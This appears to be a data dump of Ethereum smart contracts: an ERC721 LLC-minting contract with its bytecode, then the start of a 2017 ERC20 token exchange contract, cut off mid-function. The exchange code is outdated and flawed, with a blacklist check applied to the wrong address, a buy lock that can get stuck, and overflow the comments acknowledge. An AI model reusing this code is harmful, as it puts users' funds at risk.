error NotGovernance();
error NotFee();
error ETHtransferFailed();
address public governance;
string public commonURI;
string public masterOperatingAgreement;
uint256 public mintFee;
uint256 private mintCount;
mapping(uint256 => string) public tokenDetails;
modifier onlyGovernance {
if (msg.sender != governance) revert NotGovernance();
_;
}
constructor(
string memory name_,
string memory symbol_,
string memory commonURI_,
string memory masterOperatingAgreement_,
uint256 mintFee_
) ERC721(name_, symbol_) {
governance = msg.sender;
commonURI = commonURI_;
masterOperatingAgreement = masterOperatingAgreement_;
mintFee = mintFee_;
}
function tokenURI(uint256) public override view virtual returns (string memory) {
return commonURI;
}
function mintLLC(address to) public payable virtual {
if (msg.value != mintFee) revert NotFee();
uint256 tokenId = mintCount++;
_mint(to, tokenId);
}
receive() external payable virtual {
mintLLC(msg.sender);
}
function burn(uint256 tokenId) public virtual {
if (msg.sender != ownerOf[tokenId]) revert NotOwner();
_burn(tokenId);
}
function updateTokenDetails(uint256 tokenId, string calldata details) public virtual {
if (msg.sender != ownerOf[tokenId]) revert NotOwner();
tokenDetails[tokenId] = details;
}
/*///////////////////////////////////////////////////////////////
GOV LOGIC
//////////////////////////////////////////////////////////////*/
function govMint(address to) public onlyGovernance virtual {
uint256 tokenId = mintCount++;
_mint(to, tokenId);
}
function govBurn(uint256 tokenId) public onlyGovernance virtual {
_burn(tokenId);
}
function updateGov(address governance_) public onlyGovernance virtual {
governance = governance_;
}
function updateURI(string calldata commonURI_) public onlyGovernance virtual {
commonURI = commonURI_;
}
function updateAgreement(string calldata masterOperatingAgreement_) public onlyGovernance virtual {
masterOperatingAgreement = masterOperatingAgreement_;
}
function updateFee(uint256 mintFee_) public onlyGovernance virtual {
mintFee = mintFee_;
}
function collectFee() public onlyGovernance virtual {
_safeTransferETH(governance, address(this).balance);
}
function _safeTransferETH(address to, uint256 amount) internal {
bool callStatus;
assembly {
// transfer the ETH and store if it succeeded or not
callStatus := call(gas(), to, amount, 0, 0, 0, 0)
}
if (!callStatus) revert ETHtransferFailed();
}
}
|
0x6080604052600436106102895760003560e01c80636f0a5e7111610153578063aba07847116100cb578063c87b56dd1161007f578063d909a23211610064578063d909a2321461079f578063e985e9c5146107bf578063fc314e31146107fa57600080fd5b8063c87b56dd1461076a578063d4d5d32a1461078a57600080fd5b8063b4e13c8d116100b0578063b4e13c8d146106f6578063b88d4fde1461072a578063c30f4a5a1461074a57600080fd5b8063aba07847146106a9578063ac9650d8146106c957600080fd5b80639012c4a81161012257806395d89b411161010757806395d89b4114610654578063a22cb46514610669578063a9059cbb1461068957600080fd5b80639012c4a814610607578063904dfb8e1461062757600080fd5b80636f0a5e711461059257806370a08231146105a55780637ac2ff7b146105d25780638d40fb4e146105f257600080fd5b806323b872dd1161020157806342842e0e116101b55780635aa6e6751161019a5780635aa6e675146105025780636352211e1461052f5780636be0cfb01461057257600080fd5b806342842e0e146104c257806342966c68146104e257600080fd5b80632a6cd9c6116101e65780632a6cd9c61461046457806330adf81f146104795780633644e515146104ad57600080fd5b806323b872dd1461042457806326926d461461044457600080fd5b80630b33ba7a11610258578063141a468c1161023d578063141a468c146103c15780631769740e146103ee57806318160ddd1461040e57600080fd5b80630b33ba7a1461037d57806313966db51461039d57600080fd5b806301ffc9a71461029e57806306fdde03146102d3578063081812fc146102f5578063095ea7b31461035d57600080fd5b36610299576102973361081a565b005b600080fd5b3480156102aa57600080fd5b506102be6102b9366004612318565b61087a565b60405190151581526020015b60405180910390f35b3480156102df57600080fd5b506102e861095f565b6040516102ca91906123b2565b34801561030157600080fd5b506103386103103660046123c5565b60056020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016102ca565b34801561036957600080fd5b50610297610378366004612407565b6109ed565b34801561038957600080fd5b50610297610398366004612431565b610b0b565b3480156103a957600080fd5b506103b3600c5481565b6040519081526020016102ca565b3480156103cd57600080fd5b506103b36103dc3660046123c5565b60076020526000908152604090205481565b3480156103fa57600080fd5b50610297610409366004612431565b610ba3565b34801561041a57600080fd5b506103b360025481565b34801561043057600080fd5b5061029761043f36600461244c565b610bf4565b34801561045057600080fd5b5061029761045f3660046123c5565b610e31565b34801561047057600080fd5b506102e8610e8e565b34801561048557600080fd5b506103b37f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad81565b3480156104b957600080fd5b506103b3610e9b565b3480156104ce57600080fd5b506102976104dd36600461244c565b610ef6565b3480156104ee57600080fd5b506102976104fd3660046123c5565b611034565b34801561050e57600080fd5b506009546103389073ffffffffffffffffffffffffffffffffffffffff1681565b34801561053b57600080fd5b5061033861054a3660046123c5565b60046020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b34801561057e57600080fd5b5061029761058d3660046124d1565b611091565b6102976105a0366004612431565b61081a565b3480156105b157600080fd5b506103b36105c0366004612431565b60036020526000908152604090205481565b3480156105de57600080fd5b506102976105ed366004612524565b6110ee565b3480156105fe57600080fd5b506102e861144e565b34801561061357600080fd5b506102976106223660046123c5565b61145b565b34801561063357600080fd5b506103b3610642366004612431565b60086020526000908152604090205481565b34801561066057600080fd5b506102e86114b1565b34801561067557600080fd5b5061029761068436600461257c565b6114be565b34801561069557600080fd5b506102be6106a4366004612407565b611555565b3480156106b557600080fd5b506102976106c43660046125b8565b6116d1565b3480156106d557600080fd5b506106e96106e43660046125fd565b611a25565b6040516102ca9190612672565b34801561070257600080fd5b506103b37fdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df6281565b34801561073657600080fd5b506102976107453660046127b6565b611b95565b34801561075657600080fd5b506102976107653660046124d1565b611cc0565b34801561077657600080fd5b506102e86107853660046123c5565b611d1d565b34801561079657600080fd5b50610297611db1565b3480156107ab57600080fd5b506102976107ba366004612861565b611e27565b3480156107cb57600080fd5b506102be6107da3660046128ad565b600660209081526000928352604080842090915290825290205460ff1681565b34801561080657600080fd5b506102e86108153660046123c5565b611e9d565b600c543414610855576040517f70d6b1a800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600d805460009182610866836128e0565b9190505590506108768282611eb6565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316148061090d57507f80ac58cd000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b8061095957507f5b5e139f000000000000000000000000000000000000000000000000000000007fffffffff000000000000000000000000000000000000000000000000000000008316145b92915050565b6000805461096c90612940565b80601f016020809104026020016040519081016040528092919081815260200182805461099890612940565b80156109e55780601f106109ba576101008083540402835291602001916109e5565b820191906000526020600020905b8154815290600101906020018083116109c857829003601f168201915b505050505081565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff16338114801590610a53575073ffffffffffffffffffffffffffffffffffffffff8116600090815260066020908152604080832033845290915290205460ff16155b15610a8a576040517fc19f17a900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008281526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff87811691821790925591518593918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050565b60095473ffffffffffffffffffffffffffffffffffffffff163314610b5c576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600980547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60095473ffffffffffffffffffffffffffffffffffffffff163314610855576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff848116911614610c54576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8216610ca1576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff841614801590610ceb575060008181526005602052604090205473ffffffffffffffffffffffffffffffffffffffff163314155b8015610d28575073ffffffffffffffffffffffffffffffffffffffff8316600090815260066020908152604080832033845290915290205460ff16155b15610d5f576040517fc19f17a900000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff808416600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff019055938616808352848320805460010190558583526005825284832080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556004909252848320805490921681179091559251849392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b60095473ffffffffffffffffffffffffffffffffffffffff163314610e82576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b610e8b81611ffb565b50565b600b805461096c90612940565b60007f00000000000000000000000000000000000000000000000000000000000000014614610ed157610ecc612123565b905090565b507fb2b8680ab740b2faf2618a151174a91e4266d0ec803741be7ad21a37922aeb8490565b610f01838383610bf4565b73ffffffffffffffffffffffffffffffffffffffff82163b15801590610ff857506040517f150b7a020000000000000000000000000000000000000000000000000000000080825233600483015273ffffffffffffffffffffffffffffffffffffffff858116602484015260448301849052608060648401526000608484015290919084169063150b7a029060a4016020604051808303816000875af1158015610faf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd39190612994565b7fffffffff000000000000000000000000000000000000000000000000000000001614155b1561102f576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505050565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163314610e82576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60095473ffffffffffffffffffffffffffffffffffffffff1633146110e2576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61102f600b8383612233565b83421115611128576040517f0819bdcd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008581526004602052604081205473ffffffffffffffffffffffffffffffffffffffff1690611156610e9b565b60008881526007602090815260409182902080546001810190915582517f49ecf333e5b8c95c40fdafc95c1ad136e8914a8fb55e9dc8bb01eaa83a2df9ad8184015273ffffffffffffffffffffffffffffffffffffffff8d1681850152606081018c9052608081019190915260a08082018b90528351808303909101815260c08201909352825192909101919091207f190100000000000000000000000000000000000000000000000000000000000060e083015260e282019290925261010281019190915261012201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff89169284019290925260608301879052608083018690529092509060019060a0016020604051602081039080840390855afa1580156112a9573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611321576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611390575073ffffffffffffffffffffffffffffffffffffffff80841660009081526006602090815260408083209385168352929052205460ff16155b156113c7576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505060008681526005602052604080822080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff8b811691821790925591518993918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a450505050505050565b600a805461096c90612940565b60095473ffffffffffffffffffffffffffffffffffffffff1633146114ac576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600c55565b6001805461096c90612940565b33600081815260066020908152604080832073ffffffffffffffffffffffffffffffffffffffff87168085529083529281902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b60008181526004602052604081205473ffffffffffffffffffffffffffffffffffffffff1633146115b2576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff83166115ff576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b33600081815260036020908152604080832080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff01905573ffffffffffffffffffffffffffffffffffffffff8716808452818420805460010190558684526005835281842080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811690915560049093528184208054909316811790925551859391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a450600192915050565b8342111561170b576040517f0819bdcd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000611715610e9b565b73ffffffffffffffffffffffffffffffffffffffff88811660008181526008602090815260409182902080546001810190915582517fdaab21af31ece73a508939fedd476a5ee5129a5ed4bb091f3236ffb45394df628184015280840194909452938b166060840152608083019390935260a08083018a90528151808403909101815260c0830190915280519201919091207f190100000000000000000000000000000000000000000000000000000000000060e083015260e282019290925261010281019190915261012201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa15801561186b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166118e3576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b8773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015611952575073ffffffffffffffffffffffffffffffffffffffff80891660009081526006602090815260408083209385168352929052205460ff16155b15611989576040517f8baa579f00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505073ffffffffffffffffffffffffffffffffffffffff8681166000818152600660209081526040808320948a168084529482529182902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600190811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050505050565b60608167ffffffffffffffff811115611a4057611a406126f2565b604051908082528060200260200182016040528015611a7357816020015b6060815260200190600190039081611a5e5790505b50905060005b82811015611b8e5760008030868685818110611a9757611a976129b1565b9050602002810190611aa991906129e0565b604051611ab7929190612a45565b600060405180830381855af49150503d8060008114611af2576040519150601f19603f3d011682016040523d82523d6000602084013e611af7565b606091505b509150915081611b6657604481511015611b1057600080fd5b60048101905080806020019051810190611b2a9190612a55565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5d91906123b2565b60405180910390fd5b80848481518110611b7957611b796129b1565b60209081029190910101525050600101611a79565b5092915050565b611ba0848484610bf4565b73ffffffffffffffffffffffffffffffffffffffff83163b15801590611c8357506040517f150b7a02000000000000000000000000000000000000000000000000000000008082529073ffffffffffffffffffffffffffffffffffffffff85169063150b7a0290611c1b903390899088908890600401612acc565b6020604051808303816000875af1158015611c3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c5e9190612994565b7fffffffff000000000000000000000000000000000000000000000000000000001614155b15611cba576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b50505050565b60095473ffffffffffffffffffffffffffffffffffffffff163314611d11576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b61102f600a8383612233565b6060600a8054611d2c90612940565b80601f0160208091040260200160405190810160405280929190818152602001828054611d5890612940565b8015611da55780601f10611d7a57610100808354040283529160200191611da5565b820191906000526020600020905b815481529060010190602001808311611d8857829003601f168201915b50505050509050919050565b60095473ffffffffffffffffffffffffffffffffffffffff163314611e02576040517fb56f932c00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600954611e259073ffffffffffffffffffffffffffffffffffffffff16476121ee565b565b60008381526004602052604090205473ffffffffffffffffffffffffffffffffffffffff163314611e84576040517f30cd747100000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000838152600e60205260409020611cba908383612233565b600e602052600090815260409020805461096c90612940565b73ffffffffffffffffffffffffffffffffffffffff8216611f03576040517f9c8d2cd200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1615611f5f576040517fddefae2800000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b60028054600190810190915573ffffffffffffffffffffffffffffffffffffffff8316600081815260036020908152604080832080549095019094558482526004905282812080547fffffffffffffffffffffffff0000000000000000000000000000000000000000168317905591518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008181526004602052604090205473ffffffffffffffffffffffffffffffffffffffff1680612057576040517f4d5e5fb300000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b600280547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810190915573ffffffffffffffffffffffffffffffffffffffff8216600081815260036020908152604080832080549095019094558582526004815283822080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081169091556005909152838220805490911690559151849291907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516121559190612b15565b604080519182900382208282018252600183527f31000000000000000000000000000000000000000000000000000000000000006020938401528151928301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b600080600080600085875af190508061102f576040517f23c133f200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b82805461223f90612940565b90600052602060002090601f01602090048101928261226157600085556122c5565b82601f10612298578280017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff008235161785556122c5565b828001600101855582156122c5579182015b828111156122c55782358255916020019190600101906122aa565b506122d19291506122d5565b5090565b5b808211156122d157600081556001016122d6565b7fffffffff0000000000000000000000000000000000000000000000000000000081168114610e8b57600080fd5b60006020828403121561232a57600080fd5b8135612335816122ea565b9392505050565b60005b8381101561235757818101518382015260200161233f565b83811115611cba5750506000910152565b6000815180845261238081602086016020860161233c565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b6020815260006123356020830184612368565b6000602082840312156123d757600080fd5b5035919050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461240257600080fd5b919050565b6000806040838503121561241a57600080fd5b612423836123de565b946020939093013593505050565b60006020828403121561244357600080fd5b612335826123de565b60008060006060848603121561246157600080fd5b61246a846123de565b9250612478602085016123de565b9150604084013590509250925092565b60008083601f84011261249a57600080fd5b50813567ffffffffffffffff8111156124b257600080fd5b6020830191508360208285010111156124ca57600080fd5b9250929050565b600080602083850312156124e457600080fd5b823567ffffffffffffffff8111156124fb57600080fd5b61250785828601612488565b90969095509350505050565b803560ff8116811461240257600080fd5b60008060008060008060c0878903121561253d57600080fd5b612546876123de565b9550602087013594506040870135935061256260608801612513565b92506080870135915060a087013590509295509295509295565b6000806040838503121561258f57600080fd5b612598836123de565b9150602083013580151581146125ad57600080fd5b809150509250929050565b60008060008060008060c087890312156125d157600080fd5b6125da876123de565b95506125e8602088016123de565b94506040870135935061256260608801612513565b6000806020838503121561261057600080fd5b823567ffffffffffffffff8082111561262857600080fd5b818501915085601f83011261263c57600080fd5b81358181111561264b57600080fd5b8660208260051b850101111561266057600080fd5b60209290920196919550909350505050565b6000602080830181845280855180835260408601915060408160051b870101925083870160005b828110156126e5577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc08886030184526126d3858351612368565b94509285019290850190600101612699565b5092979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016810167ffffffffffffffff81118282101715612768576127686126f2565b604052919050565b600067ffffffffffffffff82111561278a5761278a6126f2565b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe01660200190565b600080600080608085870312156127cc57600080fd5b6127d5856123de565b93506127e3602086016123de565b925060408501359150606085013567ffffffffffffffff81111561280657600080fd5b8501601f8101871361281757600080fd5b803561282a61282582612770565b612721565b81815288602083850101111561283f57600080fd5b8160208401602083013760006020838301015280935050505092959194509250565b60008060006040848603121561287657600080fd5b83359250602084013567ffffffffffffffff81111561289457600080fd5b6128a086828701612488565b9497909650939450505050565b600080604083850312156128c057600080fd5b6128c9836123de565b91506128d7602084016123de565b90509250929050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612939577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b5060010190565b600181811c9082168061295457607f821691505b6020821081141561298e577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b6000602082840312156129a657600080fd5b8151612335816122ea565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe1843603018112612a1557600080fd5b83018035915067ffffffffffffffff821115612a3057600080fd5b6020019150368190038213156124ca57600080fd5b8183823760009101908152919050565b600060208284031215612a6757600080fd5b815167ffffffffffffffff811115612a7e57600080fd5b8201601f81018413612a8f57600080fd5b8051612a9d61282582612770565b818152856020838501011115612ab257600080fd5b612ac382602083016020860161233c565b95945050505050565b600073ffffffffffffffffffffffffffffffffffffffff808716835280861660208401525083604083015260806060830152612b0b6080830184612368565b9695505050505050565b600080835481600182811c915080831680612b3157607f831692505b6020808410821415612b6a577f4e487b710000000000000000000000000000000000000000000000000000000086526022600452602486fd5b818015612b7e5760018114612bad57612bda565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00861689528489019650612bda565b60008a81526020902060005b86811015612bd25781548b820152908501908301612bb9565b505084890196505b50949897505050505050505056fea2646970667358221220c8b94b7e2510d7d53be4b60f49462a1a4f01258c9dea8cf5c41ab04d5e5efebf64736f6c634300080b0033
|
{"success": true, "error": null, "results": {}}
| 8,045 |
0x754614fea204097fd934dc26784d837bc884b00d
|
// This is ERC 2.0 Token's Trading Market, Decentralized Exchange.
// by he.guanjun, email: <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="99f1fcb7fdb7fdb7eaf1f8f7d9f1f6edf4f8f0f5b7faf6f4">[email protected]</a>
// 2017-09-27
// TODO:
// 1,每一个function,都应该写日志(事件),而且最好不要公用事件。暂不处理。
// 2,Token白名单,更安全,但是需要owner维护,更麻烦。暂不处理。
pragma solidity ^0.4.11;
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/issues/20
interface Erc20Token {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
}
contract Base {
uint createTime = now;
address public owner;
function Base() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
mapping (address => uint256) public userEtherOf;
function userRefund() public {
_userRefund(msg.sender, msg.sender);
}
function userRefundTo(address _to) public {
_userRefund(msg.sender, _to);
}
function _userRefund(address _from, address _to) private {
require (_to != 0x0);
uint256 amount = userEtherOf[_from];
if(amount > 0){
userEtherOf[_from] -= amount;
_to.transfer(amount); //防范外部调用,特别是和支付(买Token)联合调用就有风险, 2017-09-27
}
}
}
//执行 interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData); }
contract Erc20TokenMarket is Base //for exchange token
{
function Erc20TokenMarket() Base () {
}
mapping (address => uint) public BadTokenOf; //Token 黑名单!
function addBadToken(address _tokenAddress) public onlyOwner{
BadTokenOf[_tokenAddress] += 1;
}
function removeBadToken(address _tokenAddress) public onlyOwner{
BadTokenOf[_tokenAddress] = 0;
}
function isBadToken(address _tokenAddress) private returns(bool _result) {
return BadTokenOf[_tokenAddress] > 0;
}
bool public hasSellerGuarantee = false;
uint256 public sellerGuaranteeEther = 0 ether; //保证金,最大惩罚金额。
function setSellerGuarantee(bool _has, uint256 _gurateeEther) public onlyOwner {
require(now - createTime > 1 years); //至少一年后才启用保证金
require(_gurateeEther < 0.1 ether); //不能太高,表示一下,能够拒绝恶意者就好。
hasSellerGuarantee = _has;
sellerGuaranteeEther = _gurateeEther;
}
function checkSellerGuarantee(address _seller) private returns (bool _result){
if (hasSellerGuarantee){
return userEtherOf[_seller] >= sellerGuaranteeEther; //保证金不强制冻结,如果保证金不足,将无法完成交易(买和卖)。
}
return true;
}
function userRefundWithoutGuaranteeEther() public { //退款,但是保留保证金
if (userEtherOf[msg.sender] >= sellerGuaranteeEther){
uint256 amount = userEtherOf[msg.sender] - sellerGuaranteeEther;
userEtherOf[msg.sender] -= amount;
msg.sender.transfer(amount);
}
}
struct SellingToken{ //TokenInfo,包括:当前金额,已卖总金额,出售价格,是否出售,出售时间限制,转入总金额,转入总金额, TODO:
uint256 thisAmount; //currentAmount,当前金额,可以出售的金额,转入到 this 地址的金额。
uint256 soldoutAmount; //有可能溢出,恶意合同能做到这点,但不影响合约执行,暂不处理。 2017-09-27
uint256 price;
bool cancel; //正在出售,是否出售
uint lineTime; //出售时间限制
}
mapping (address => mapping(address => SellingToken)) public userSellingTokenOf; //销售者,代币地址,销售信息
event OnSetSellingToken(address indexed _tokenAddress, address _seller, uint indexed _sellingAmount, uint256 indexed _price, uint _lineTime, bool _cancel);
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public {
_extraData;
_value;
require(_from != 0x0);
require(_token != 0x0);
//require(_value > 0); //no
require(_token == msg.sender && msg.sender != tx.origin); //防范攻击,防止被发送大量的垃圾信息!就算攻击,也要写一个智能合约来攻击!
require(!isBadToken(msg.sender)); //黑名单判断,主要防范垃圾信息,
Erc20Token token = Erc20Token(msg.sender);
var sellingAmount = token.allowance(_from, this); //_from == tx.origin != msg.sender = _token , _from == tx.origin 不一定,但一般如此,多重签名钱包就不是。
//var sa = token.balanceOf(_from); //检查用户实际拥有的Token,但用户拥有的Token随时可能变化,所以还是无法检查,只能在购买的时候检查。
//if (sa < sellingAmount){
// sellingAmount = sa;
//}
//require(sellingAmount > 0); //no
var st = userSellingTokenOf[_from][_token]; //用户(卖家)地址, Token地址,
st.thisAmount = sellingAmount;
//st.price = 0;
//st.lineTime = 0;
//st.cancel = true;
OnSetSellingToken(_token, _from, sellingAmount, st.price, st.lineTime, st.cancel);
}
function setSellingToken(address _tokenAddress, uint256 _price, uint _lineTime) public returns(uint256 _sellingAmount) {
require(_tokenAddress != 0x0);
require(_price > 0);
require(_lineTime > now);
require(!isBadToken(msg.sender)); //黑名单
require(checkSellerGuarantee(msg.sender)); //保证金,
Erc20Token token = Erc20Token(_tokenAddress);
_sellingAmount = token.allowance(msg.sender,this); //防范外部调用, 2017-09-27
//var sa = token.balanceOf(_from); //检查用户实际拥有的Token
//if (sa < _sellingAmount){
// _sellingAmount = sa;
//}
var st = userSellingTokenOf[msg.sender][_tokenAddress];
st.thisAmount = _sellingAmount;
st.price = _price;
st.lineTime = _lineTime;
st.cancel = false;
OnSetSellingToken(_tokenAddress, msg.sender, _sellingAmount, _price, _lineTime, st.cancel);
}
function cancelSellingToken(address _tokenAddress) public{ // returns(bool _result) delete , 2017-09-27
require(_tokenAddress != 0x0);
//_result = false;
var st = userSellingTokenOf[msg.sender][_tokenAddress];
st.cancel = true;
Erc20Token token = Erc20Token(_tokenAddress);
var sellingAmount = token.allowance(msg.sender,this); //防范外部调用, 2017-09-27
st.thisAmount = sellingAmount;
OnSetSellingToken(_tokenAddress, msg.sender, sellingAmount, st.price, st.lineTime, st.cancel);
}
event OnBuyToken(uint __ramianBuyerEtherAmount, address _buyer, address indexed _seller, address indexed _tokenAddress, uint256 _transAmount, uint256 indexed _tokenPrice, uint256 _ramianTokenAmount);
bool public _isBuying = false; //lock
function setIsBuying() public onlyOwner{ //sometime, _isBuying always is true???
_isBuying = false;
}
function buyTokenFrom(address _seller, address _tokenAddress, uint256 _buyerTokenPrice) public payable returns(bool _result) {
require(_seller != 0x0);
require(_tokenAddress != 0x0);
require(_buyerTokenPrice > 0);
require(!_isBuying); //拒绝二次进入! //防范外部调用,某些特殊合约可能无法成功执行此方法,但为了安全就这么简单处理。 2017-09-27
_isBuying = true; //加锁
userEtherOf[msg.sender] += msg.value;
if (userEtherOf[msg.sender] == 0){
_isBuying = false;
return;
}
Erc20Token token = Erc20Token(_tokenAddress);
var sellingAmount = token.allowance(_seller, this); //卖家, _spender
var st = userSellingTokenOf[_seller][_tokenAddress]; //卖家,Token
var sa = token.balanceOf(_seller); //检查用户实际拥有的Token,但用户拥有的Token随时可能变化,只能在购买的时候检查。
bool bigger = false;
if (sa < sellingAmount){ //一种策略,卖家交定金,如果发现出现这种情况,定金没收,owner 和 买家平分定金。
sellingAmount = sa;
bigger = true;
}
if (st.price > 0 && st.lineTime > now && sellingAmount > 0 && !st.cancel){
if(_buyerTokenPrice < st.price){ //price maybe be changed!
OnBuyToken(userEtherOf[msg.sender], msg.sender, _seller, _tokenAddress, 0, _buyerTokenPrice, sellingAmount);
_result = false;
_isBuying = false;
return;
}
uint256 canTokenAmount = userEtherOf[msg.sender] / st.price;
if(canTokenAmount > 0 && canTokenAmount * st.price > userEtherOf[msg.sender]){
canTokenAmount -= 1;
}
if(canTokenAmount == 0){
OnBuyToken(userEtherOf[msg.sender], msg.sender, _seller, _tokenAddress, 0, st.price, sellingAmount);
_result = false;
_isBuying = false;
return;
}
if (canTokenAmount > sellingAmount){
